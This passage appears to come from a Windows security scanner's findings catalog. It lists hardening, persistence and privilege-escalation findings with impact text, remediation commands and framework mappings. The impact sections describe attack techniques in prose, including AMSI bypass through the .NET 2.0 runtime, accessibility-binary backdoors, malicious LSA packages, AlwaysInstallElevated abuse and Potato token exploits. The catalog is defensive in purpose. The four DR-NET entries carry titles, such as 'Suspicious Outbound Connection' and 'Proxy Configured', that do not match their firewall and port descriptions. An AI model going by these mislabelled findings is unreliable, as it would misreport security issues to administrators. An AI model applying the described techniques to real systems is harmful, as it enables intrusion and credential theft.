Impact: The .NET CLR v2 runtime can be invoked by PowerShell v2 and other tools to bypass AMSI, script block logging, constrained language mode, and other security controls that are only enforced in CLR v4. Attackers specifically target legacy .NET to downgrade the runtime and evade security monitoring. If .NET 2.0/3.5 is not required by any application, it represents unnecessary attack surface.
Remediation: Remove .NET Framework 3.5 (includes 2.0 and 3.0) if no application requires it: Disable-WindowsOptionalFeature -Online -FeatureName NetFx3. On Server: Remove-WindowsFeature NET-Framework-Core. Before removing, verify no application dependencies by auditing installed software and testing in a pre-production environment.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: CM-7, SI-3
PCI DSS 4: 2.2.4
MEDIUM DR-HDN-031 — System Hardening: PS Constrained Language Not Enforced
Description: PowerShell is running in Full Language Mode rather than Constrained Language Mode (CLM). Full Language Mode allows unrestricted access to .NET types, COM objects, and Win32 APIs, enabling powerful post-exploitation capabilities.
Impact: Full Language Mode enables attackers to load arbitrary .NET assemblies, invoke Win32 APIs via P/Invoke or Add-Type, create COM objects, and execute complex exploitation frameworks (Invoke-Mimikatz, PowerView, etc.) entirely in memory. Constrained Language Mode blocks these capabilities while preserving administrative scripting functionality.
Remediation: Enforce Constrained Language Mode via WDAC/AppLocker code integrity policies (the most robust method — CLM activates automatically when UMCI is enforced). Alternatively, set the __PSLockdownPolicy environment variable to 4 (system-wide), though this is less robust than WDAC enforcement. Test with administrative scripts first — CLM restricts .NET and COM access that some admin scripts require.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: CM-7, CM-6, SI-7
PCI DSS 4: 2.2.1
MEDIUM DR-HDN-032 — System Hardening: ASR Rules Not Configured
Description: Windows Defender Attack Surface Reduction (ASR) rules are not configured or are set to audit-only mode. ASR rules block specific behaviors commonly used by malware, such as Office macros creating child processes, obfuscated scripts, credential theft from LSASS, and untrusted USB process execution.
Impact: Without ASR rules, the system lacks behavioral protection against common attack techniques: Office macro malware, script-based attacks, credential dumping, ransomware file encryption patterns, and lateral movement techniques. ASR rules are one of the most effective free security controls available on Windows 10/11 and Server 2016+.
Remediation: Enable ASR rules via Group Policy or Intune. Recommended rules to enable in block mode: Block Office apps from creating child processes (D4F940AB-401B-4EFC-AADC-AD5F3C50688A), Block credential stealing from LSASS (9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2), Block executable content from email/webmail (BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550), Use advanced protection against ransomware (c1db55ab-c21a-4637-bb3f-a12568109d35). Start in audit mode for 2 weeks, then switch to block.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-3, SI-4, CM-7
PCI DSS 4: 5.2.1, 5.3.1
LOW DR-HDN-033 — Endpoint Protection: Controlled Folder Access Not Enabled
Description: Windows Defender Controlled Folder Access is not enabled. This feature protects designated folders (Documents, Desktop, Pictures, etc.) from unauthorized modification by untrusted applications, serving as anti-ransomware protection.
Impact: Without Controlled Folder Access, ransomware and destructive malware can freely encrypt or delete files in user profile folders and other protected locations. CFA provides a last line of defense against ransomware by blocking unauthorized write operations, even from elevated processes, unless the application is explicitly whitelisted.
Remediation: Enable Controlled Folder Access via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Microsoft Defender Exploit Guard > Controlled Folder Access > Configure Controlled folder access = Enabled (Block mode). Alternatively: Set-MpPreference -EnableControlledFolderAccess Enabled. Whitelist legitimate applications that need write access to protected folders.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1486 (Impact)
NIST 800-53: SI-3, CP-9
PCI DSS 4: 5.2.1
LOW DR-HDN-034 — Endpoint Protection: Network Protection Not Enabled
Description: Windows Defender Network Protection is not enabled. Network Protection extends SmartScreen capabilities to block outbound connections to low-reputation or malicious domains and IP addresses, protecting against phishing, exploit hosting sites, and command-and-control infrastructure.
Impact: Without Network Protection, the system can establish connections to known-malicious domains, phishing sites, and C2 infrastructure without being blocked. This feature provides network-layer defense against web-based threats and can prevent initial access (drive-by downloads, phishing), malware download, and C2 communication.
Remediation: Enable Network Protection via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Microsoft Defender Exploit Guard > Network Protection > Prevent users and apps from accessing dangerous websites = Enabled (Block mode). Alternatively: Set-MpPreference -EnableNetworkProtection Enabled. Start in audit mode to identify false positives before enforcing.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1071 (Command and Control)
NIST 800-53: SI-3, SI-4, SC-7
PCI DSS 4: 5.2.1, 1.4.2
MEDIUM DR-HDN-035 — Endpoint Protection: Exploit Protection Not Configured
Description: Windows Exploit Protection (successor to EMET) process mitigations are not configured. Exploit Protection applies per-process exploit mitigations such as DEP, ASLR, CFG (Control Flow Guard), heap integrity validation, and image load restrictions to protect against memory corruption exploits.
Impact: Without process-level exploit mitigations, applications are more vulnerable to memory corruption exploits (buffer overflows, use-after-free, ROP chains). Exploit Protection mitigations make exploit development significantly harder and can prevent known exploitation techniques from succeeding, even against unpatched vulnerabilities.
Remediation: Configure Exploit Protection system-wide and per-application: Windows Security > App & browser control > Exploit protection settings. Enable for high-risk applications (browsers, Office, PDF readers, Java). Key mitigations: DEP (AlwaysOn), ASLR (ForceRelocateImages, BottomUp), CFG (enabled), SEHOP (enabled). Deploy via Group Policy using an XML configuration file: Set-ProcessMitigation -PolicyFilePath exploit-protection-settings.xml.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1068 (Privilege Escalation)
NIST 800-53: SI-16, SI-7, CM-6
PCI DSS 4: 5.3.1, 6.3.2
MEDIUM DR-HDN-036 — Network Hardening: SMB Client Signing Not Required
Description: Outbound SMB connections from this host do not require packet signing. An attacker on the local network can intercept and relay SMB authentication to other targets.
Impact: Without client-side signing, NTLM relay attacks are possible. An attacker poisons name resolution (LLMNR/NBT-NS), intercepts this machine's outbound SMB authentication, and relays it to another host to execute commands or access shares.
Remediation: Set RequireSecuritySignature to 1 under HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1557.001 (Credential Access)
NIST 800-53: SC-8, SC-23
PCI DSS 4: 4.2.1
MEDIUM DR-HDN-037 — Access Control: Anonymous SAM Account Enumeration Allowed
Description: Unauthenticated users can enumerate local user accounts through the SAM database. RestrictAnonymousSAM is not enabled.
Impact: An attacker can retrieve the full list of local user accounts without any credentials, providing a target list for password spraying and brute force attacks.
Remediation: Set RestrictAnonymousSAM to 1 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1087.001 (Discovery)
NIST 800-53: AC-3, AC-14
PCI DSS 4: 7.2.1
MEDIUM DR-HDN-038 — System Hardening: Built-in Administrator Exempt from UAC
Description: The built-in Administrator account (RID 500) runs all processes with full elevated privileges without UAC prompts. FilterAdministratorToken is not enabled.
Impact: Any process launched by the RID-500 Administrator account runs with unrestricted administrative privileges. If an attacker obtains these credentials, post-exploitation is immediate with no elevation prompt barrier.
Remediation: Set FilterAdministratorToken to 1 under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System. Rename the built-in Administrator account.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1548.002 (Privilege Escalation)
NIST 800-53: AC-6, CM-6
PCI DSS 4: 7.2.1
HIGH DR-HDN-039 — Authentication: Blank Passwords Permitted for Network Logon
Description: Accounts with empty passwords can authenticate over the network (SMB, RDP, WinRM). LimitBlankPasswordUse is disabled.
Impact: An attacker who discovers any account with no password set can authenticate remotely. On domain controllers this grants access to SYSVOL, NETLOGON, and potentially administrative shares.
Remediation: Set LimitBlankPasswordUse to 1 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa. Audit all local and domain accounts to ensure no accounts have empty passwords.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1078.001 (Initial Access)
NIST 800-53: IA-5, AC-7
PCI DSS 4: 8.3.1, 8.3.6
HIGH DR-HDN-040 — Access Control: Anonymous Users Included in Everyone Group
Description: The Everyone security group includes anonymous (unauthenticated) connections. Any resource with Everyone permissions is accessible without credentials.
Impact: Shares, files, and objects granted to Everyone become accessible to null-session connections. This effectively removes the authentication boundary for any Everyone-permissioned resource on the system.
Remediation: Set EveryoneIncludesAnonymous to 0 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa. Review all resources with Everyone permissions.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1087 (Discovery)
NIST 800-53: AC-3, AC-14
PCI DSS 4: 7.2.1
HIGH DR-HDN-041 — Remote Desktop: Weak RDP Transport Encryption
Description: Remote Desktop is configured with weak or legacy transport encryption. Sessions can be intercepted or downgraded by an on-path attacker.
Impact: SecurityLayer=0 uses legacy RDP encryption (RC4-based, no server certificate validation). Low MinEncryptionLevel allows 56-bit or 40-bit session keys. An on-path attacker can intercept keystrokes, screen content, and credentials.
Remediation: Set SecurityLayer to 2 (TLS) and MinEncryptionLevel to 3 (High) under HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1021.001 (Lateral Movement)
NIST 800-53: SC-8, SC-23, AC-17
PCI DSS 4: 4.2.1, 2.2.7
MEDIUM DR-HDN-042 — Monitoring: Critical Audit Subcategories Disabled
Description: Security-critical audit subcategories are not configured. Events in these categories are not being logged, preventing detection and forensic investigation.
Impact: Without subcategory auditing for logon events, credential validation, account management, and process creation, the system cannot detect brute force attacks, pass-the-hash, unauthorized account changes, or malicious process execution.
Remediation: Enable Advanced Audit Policy via Group Policy for: Logon, User Account Management, Credential Validation, Process Creation, and Audit Policy Change subcategories.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
MITRE ATT&CK: T1562.002 (Defense Evasion)
NIST 800-53: AU-2, AU-3, AU-12
PCI DSS 4: 10.2.1, 10.2.2
HIGH DR-HDN-043 — Privilege Escalation: Sensitive User Rights Assigned to Non-Default Accounts
Description: Sensitive user rights (SeDebugPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, etc.) are assigned to accounts beyond the operating system defaults. These rights enable credential theft, kernel-level access, or file system bypass.
Impact: SeDebugPrivilege allows dumping LSASS memory to extract all cached credentials. SeLoadDriverPrivilege allows loading a malicious kernel driver. SeBackupPrivilege allows reading any file on the system regardless of ACLs, including SAM and SYSTEM registry hives.
Remediation: Review User Rights Assignment in Group Policy. Remove non-essential accounts from sensitive privileges. Only SYSTEM, LOCAL SERVICE, and Administrators should hold SeDebugPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, and SeTcbPrivilege.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1134 (Privilege Escalation)
NIST 800-53: AC-6, CM-6
PCI DSS 4: 7.2.1, 7.2.2
MEDIUM DR-HDN-044 — Monitoring: Advanced Audit Policy Overridden by Legacy Settings
Description: Advanced Audit Policy subcategory settings are being silently overridden by legacy basic audit policy. Granular audit configurations may not be taking effect.
Impact: Without SCENoApplyLegacyAuditPolicy enabled, basic audit policy takes precedence over Advanced Audit Policy subcategory settings. Administrators who configure granular auditing may not realize their settings are being ignored, creating a false sense of security.
Remediation: Set SCENoApplyLegacyAuditPolicy to 1 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa and use only Advanced Audit Policy Configuration in Group Policy.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
NIST 800-53: AU-2, AU-12
PCI DSS 4: 10.2.1
HIGH DR-NET-001 — Network: Suspicious Outbound Connection
Description: The Windows Firewall is disabled for the Domain network profile.
Impact: All inbound and outbound traffic is unfiltered when connected to a domain network. Any service listening on any port is exposed to all hosts on the network, enabling lateral movement and direct exploitation.
Remediation: Enable the Windows Firewall for the Domain profile via Group Policy or PowerShell: Set-NetFirewallProfile -Profile Domain -Enabled True. Review and configure appropriate inbound/outbound rules before enabling to avoid disrupting legitimate services.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1071 (Command and Control), T1041 (Exfiltration)
NIST 800-53: SI-4, IR-5
PCI DSS 4: 1.2.1
MEDIUM DR-NET-002 — Network: High-Risk Port Exposed
Description: The Windows Firewall is disabled for the Private network profile.
Impact: All network traffic is unfiltered when connected to private networks. Services and ports that should be restricted are accessible to all devices on the local network segment.
Remediation: Enable the Windows Firewall for the Private profile: Set-NetFirewallProfile -Profile Private -Enabled True.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1021 (Lateral Movement)
NIST 800-53: SC-7, CM-7
PCI DSS 4: 1.2.1
MEDIUM DR-NET-003 — Network: Proxy Configured
Description: The Windows Firewall is disabled for the Public network profile, the most exposed profile.
Impact: When connected to any public or untrusted network (airports, hotels, coffee shops), all services are exposed without any filtering. This is the highest-risk firewall misconfiguration as public networks are inherently hostile.
Remediation: Immediately enable the Windows Firewall for the Public profile: Set-NetFirewallProfile -Profile Public -Enabled True. The Public profile should have the most restrictive ruleset with all inbound connections blocked by default.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: SC-8
PCI DSS 4: 1.2.1
MEDIUM DR-NET-004 — Network: External DNS on Domain Host
Description: A high-risk network port is listening on this endpoint (e.g., 445/SMB, 135-139/RPC, 3389/RDP, 23/Telnet, 21/FTP, 1433/MSSQL, 3306/MySQL, 5432/PostgreSQL).
Impact: High-risk ports are frequent targets for automated scanning and exploitation. Exposed database ports enable direct SQL injection and credential brute-forcing. Exposed management ports enable remote administration attacks.
Remediation: Close or restrict access to unnecessary high-risk ports using Windows Firewall rules. For required services, restrict inbound access to specific authorized IP ranges. Consider using IPsec or VPN for administrative access to sensitive services.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1584.002 (Resource Development)
NIST 800-53: SC-20, SC-21
PCI DSS 4: 1.2.1, 1.3.1
HIGH DR-PERS-001 — Persistence: WMI Event Subscription
Description: Active WMI event subscriptions (EventFilter + EventConsumer + FilterToConsumerBinding) were found on this system. WMI subscriptions execute automatically in response to system events and survive reboots, making them a powerful persistence mechanism.
Impact: WMI event subscriptions run with SYSTEM privileges and are difficult to detect through standard monitoring. An attacker can use them to execute malicious scripts or binaries when specific events occur (user logon, process creation, time-based triggers). WMI persistence is used by APT groups and is notoriously resistant to removal — it survives reinstallation of applications and many cleanup procedures.
Remediation: Review all WMI event subscriptions: Get-WMIObject -Namespace root\Subscription -Class __EventFilter; Get-WMIObject -Namespace root\Subscription -Class __EventConsumer; Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding. Remove any unknown or suspicious subscriptions. Deploy Sysmon with WMI monitoring (Event IDs 19-21). Implement WMI activity logging via Group Policy.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1546.003 (Persistence)
NIST 800-53: SI-4, AU-6, IR-4
PCI DSS 4: 10.6.1, 11.5.1
MEDIUM DR-PERS-002 — Persistence: COM Object Hijacking
Description: COM object registrations in the HKCU registry hive override HKLM registrations for CLSIDs that are loaded by privileged processes. This COM object hijacking technique allows a user-level modification to cause a privileged process to load an attacker-controlled DLL.
Impact: COM hijacking is a stealthy persistence and privilege escalation technique. When a legitimate, privileged application loads a hijacked CLSID, it executes the attacker's DLL with the application's privileges. This survives reboots, is difficult to detect without specific monitoring, and blends with normal COM activity. Many legitimate Windows processes load COM objects during startup.
Remediation: Audit HKCU\Software\Classes\CLSID for entries that shadow HKLM CLSID registrations. Remove unauthorized CLSID overrides. Deploy Sysmon with registry monitoring (Event IDs 12-14) targeting CLSID paths. Implement application whitelisting (AppLocker/WDAC) to prevent loading of unauthorized DLLs from user-writable locations.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1546.015 (Persistence)
NIST 800-53: SI-4, CM-6, SI-7
PCI DSS 4: 11.5.1
HIGH DR-PERS-003 — Persistence: AppInit_DLLs Configured
Description: The AppInit_DLLs registry value is configured with one or more DLL paths. Windows loads any DLL listed in AppInit_DLLs into every process that loads user32.dll — which includes virtually all GUI applications. This mechanism is a well-known persistence and injection technique.
Impact: DLLs specified in AppInit_DLLs are loaded into every GUI process on the system, providing system-wide code injection. An attacker can use this for keylogging, credential interception, API hooking, or persistent backdoor access. The injected DLL runs with the privileges of each host process, potentially including SYSTEM-level services.
Remediation: Clear the AppInit_DLLs registry value: reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /f. Also clear the WOW64 key: reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /f. Set LoadAppInit_DLLs to 0 to disable the mechanism entirely. Enable Secure Boot and RequireSignedAppInit_DLLs to restrict to signed DLLs only.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1546.010 (Persistence)
NIST 800-53: SI-4, SI-3, CM-6
PCI DSS 4: 5.3.1, 11.5.1
HIGH DR-PERS-004 — Persistence: IFEO Debugger Set
Description: Image File Execution Options (IFEO) registry entries have a 'Debugger' value set for one or more executables. This causes Windows to launch the specified debugger program instead of (or before) the target executable, effectively hijacking the execution of legitimate programs.
Impact: An attacker can set an IFEO debugger entry for commonly used programs (cmd.exe, powershell.exe, taskmgr.exe) to redirect their execution to a malicious binary. This is a stealthy persistence mechanism that activates whenever the legitimate program is launched. It is also used to prevent security tools from running by redirecting them to an empty program or a kill command.
Remediation: Audit IFEO registry entries: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" /s /v Debugger. Remove any unauthorized Debugger values. Deploy Sysmon with registry monitoring (Event IDs 12-14) targeting IFEO keys. Legitimate IFEO uses include application compatibility shims — verify with the application vendor before removing.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1546.012 (Persistence)
NIST 800-53: SI-4, SI-7, CM-6
PCI DSS 4: 5.3.1, 11.5.1
CRITICAL DR-PERS-005 — Persistence: Accessibility Feature Modified
Description: One or more Windows accessibility feature binaries (sethc.exe, utilman.exe, osk.exe, narrator.exe, magnify.exe, DisplaySwitch.exe) have been modified or replaced. The modification timestamp does not align with the OS installation date or last Windows Update, indicating potential tampering.
Impact: Replacing accessibility binaries with cmd.exe or a backdoor is a classic persistence technique that provides SYSTEM-level command prompt access from the Windows login screen — before any user has authenticated. An attacker can press Shift five times (sethc.exe), Win+U (utilman.exe), or similar shortcuts to trigger the backdoor. This survives reboots, user password changes, and most remediation attempts short of restoring the original binaries.
Remediation: Restore original accessibility binaries from a known-good source or Windows installation media: sfc /scannow or DISM /Online /Cleanup-Image /RestoreHealth. Verify file hashes against Microsoft published hashes. Investigate as a potential compromise — this finding indicates the system may have been backdoored. Deploy file integrity monitoring on %SystemRoot%\System32\sethc.exe, utilman.exe, osk.exe, narrator.exe, magnify.exe, DisplaySwitch.exe.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1546.008 (Persistence)
NIST 800-53: SI-7, SI-4, AU-6
PCI DSS 4: 5.3.1, 11.5.1, 10.6.1
MEDIUM DR-PERS-006 — Persistence: Print Monitor DLL
Description: Custom print monitor DLLs were found registered in the system. Print monitors are loaded by the Print Spooler service (spoolsv.exe) which runs as SYSTEM. An unauthorized print monitor DLL provides persistent, SYSTEM-level code execution.
Impact: Print monitor DLLs are loaded by the spoolsv.exe service at startup and run with SYSTEM privileges. An attacker who registers a malicious DLL as a print monitor achieves persistence that survives reboots and is difficult to detect — the DLL appears as a legitimate print subsystem component. This technique is used by APT groups for long-term persistence.
Remediation: Audit print monitor registry entries: reg query "HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors" /s. Compare against known legitimate monitors (Standard TCP/IP Port, WSD Port, USB Monitor, Local Port). Remove any unknown or suspicious monitor entries. Verify DLL signatures for all registered monitor DLLs. Deploy Sysmon with registry monitoring on the Print\Monitors key.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1547.010 (Persistence)
NIST 800-53: SI-4, CM-6
PCI DSS 4: 11.5.1
HIGH DR-PERS-008 — Persistence: LSA Authentication Package Modified
Description: Non-default authentication packages or security support providers (SSPs) are registered in the LSA registry configuration. LSA authentication packages are loaded by lsass.exe at boot and run with SYSTEM privileges. Unauthorized packages can intercept credentials during authentication.
Impact: A malicious LSA authentication package runs inside lsass.exe with SYSTEM privileges and intercepts every authentication event on the system. This allows credential harvesting of all user passwords (including domain admin) in cleartext as they authenticate. This is one of the most powerful persistence mechanisms available, used by advanced threat actors and tools like mimilib.
Remediation: Audit LSA registry entries: reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" and "Security Packages". Default values are 'msv1_0' for Authentication Packages and '' (empty) or 'kerberos msv1_0 schannel wdigest tspkg pku2u' for Security Packages. Remove any unauthorized entries. Enable LSA Protection (RunAsPPL) to prevent unauthorized DLL loading into lsass.exe. Enable Credential Guard for additional protection. Investigate as potential compromise.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1547.002 (Persistence)
NIST 800-53: SI-4, SI-7, IA-5
PCI DSS 4: 5.3.1, 10.6.1, 11.5.1
HIGH DR-PRIV-001 — Privilege Escalation: AlwaysInstallElevated Enabled
Description: The AlwaysInstallElevated policy is enabled in both HKLM and HKCU registry hives. This Windows Installer policy allows any user to install MSI packages with SYSTEM-level privileges, regardless of the user's actual privilege level.
Impact: Any standard user can create a malicious MSI package (e.g., using msfvenom) and install it with SYSTEM privileges. This is a trivial, reliable privilege escalation path that requires no exploitation of software vulnerabilities — only the misconfiguration itself. Tools like PowerUp, WinPEAS, and Metasploit all check for and exploit this setting.
Remediation: Disable AlwaysInstallElevated by setting both registry values to 0: HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated=0 and HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated=0. Apply via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows Installer > Always install with elevated privileges = Disabled.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1546.016 (Privilege Escalation)
NIST 800-53: CM-6, AC-6, CM-7
PCI DSS 4: 2.2.1, 7.1.1
HIGH DR-PRIV-002 — Privilege Escalation: Modifiable Service Binary
Description: One or more Windows service executables reside in directories that are writable by non-administrative users, or the service binary file itself has permissive ACLs. This allows a standard user to replace the service binary with a malicious one.
Impact: An attacker can replace or modify a service binary that runs as SYSTEM or a privileged account. On the next service restart (or system reboot), the attacker's code executes with the service account's privileges, typically SYSTEM. This is a reliable privilege escalation technique that persists across reboots.
Remediation: Audit and correct file system permissions on all service binary paths. Service executables should be owned by Administrators/SYSTEM with write access restricted to Administrators only. Use icacls to verify: icacls "C:\path\to\service.exe". Install services only in protected directories (C:\Program Files\). Remove write permissions for Users/Authenticated Users groups on service binary paths.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1574.010 (Persistence)
NIST 800-53: CM-6, AC-6, CM-5
PCI DSS 4: 2.2.1, 6.3.2
MEDIUM DR-PRIV-003 — Privilege Escalation: DLL Search Order Hijacking
Description: One or more directories in the system PATH are writable by non-administrative users. Windows DLL search order loads DLLs from the application directory first, then the system directory, then each PATH directory in order. A writable PATH directory allows an attacker to place a malicious DLL that will be loaded by legitimate applications.
Impact: An attacker can place a crafted DLL in a writable PATH directory with the same name as a DLL that a privileged application expects to load. When the application runs, it loads the attacker's DLL instead, executing arbitrary code with the application's privileges. This is particularly dangerous for services and scheduled tasks running as SYSTEM.
Remediation: Audit all directories in the system PATH and remove write permissions for non-administrative users. Remove unnecessary directories from PATH. Enable SafeDllSearchMode (HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode=1). Consider implementing Windows Defender Application Control (WDAC) to restrict DLL loading to signed binaries.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1574.001 (Persistence)
NIST 800-53: CM-6, CM-5, SI-7
PCI DSS 4: 2.2.1, 6.3.2
HIGH DR-PRIV-004 — Privilege Escalation: Dangerous Token Privileges
Description: The current process or service accounts hold dangerous Windows token privileges. SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege enable token impersonation attacks (Potato family exploits). SeDebugPrivilege allows debugging any process including LSASS. SeBackupPrivilege/SeRestorePrivilege bypass file ACLs. SeTcbPrivilege acts as part of the operating system.
Impact: Token impersonation privileges (SeImpersonate, SeAssignPrimaryToken) enable immediate SYSTEM-level privilege escalation via tools like JuicyPotato, PrintSpoofer, RoguePotato, or GodPotato. SeDebugPrivilege allows LSASS memory dumping for credential extraction. These privileges are commonly held by IIS application pool accounts, SQL Server service accounts, and other service identities.
Remediation: Review and minimize token privileges assigned to service accounts. Remove SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege from service accounts where not operationally required. Use Group Managed Service Accounts (gMSA) with minimal privileges. Audit User Rights Assignments via: secpol.msc > Local Policies > User Rights Assignment. Consider running services in Windows containers or AppContainers which restrict available privileges.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1134 (Defense Evasion), T1134.001 (Privilege Escalation)
NIST 800-53: AC-6, AC-6(5), CM-6
PCI DSS 4: 7.1.1, 7.2.1
MEDIUM DR-PRIV-005 — Privilege Escalation: Unquoted Service Path
Description: One or more Windows services have unquoted executable paths containing spaces, AND at least one intermediate directory in the path is writable by non-administrative users. Windows resolves unquoted paths by trying each space-delimited segment as a potential executable.
Impact: An attacker can place an executable at a space-boundary in the unquoted path. For example, if the service path is 'C:\Program Files\Some Service\service.exe' (unquoted), placing 'C:\Program.exe' or 'C:\Program Files\Some.exe' in a writable directory causes it to execute with the service's privileges. This requires both the unquoted path AND a writable intermediate directory to be exploitable.
Remediation: Quote all service binary paths that contain spaces. Fix via registry: reg add "HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>" /v ImagePath /t REG_EXPAND_SZ /d '"C:\Program Files\...\service.exe"' /f. Additionally, restrict write permissions on all intermediate directories in service paths. Identify all unquoted paths: wmic service get name,pathname | findstr /i /v "C:\Windows" | findstr /i " ".
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A01:2021 - Broken Access Control
MITRE ATT&CK: T1574.009 (Persistence)
NIST 800-53: CM-6, CM-5
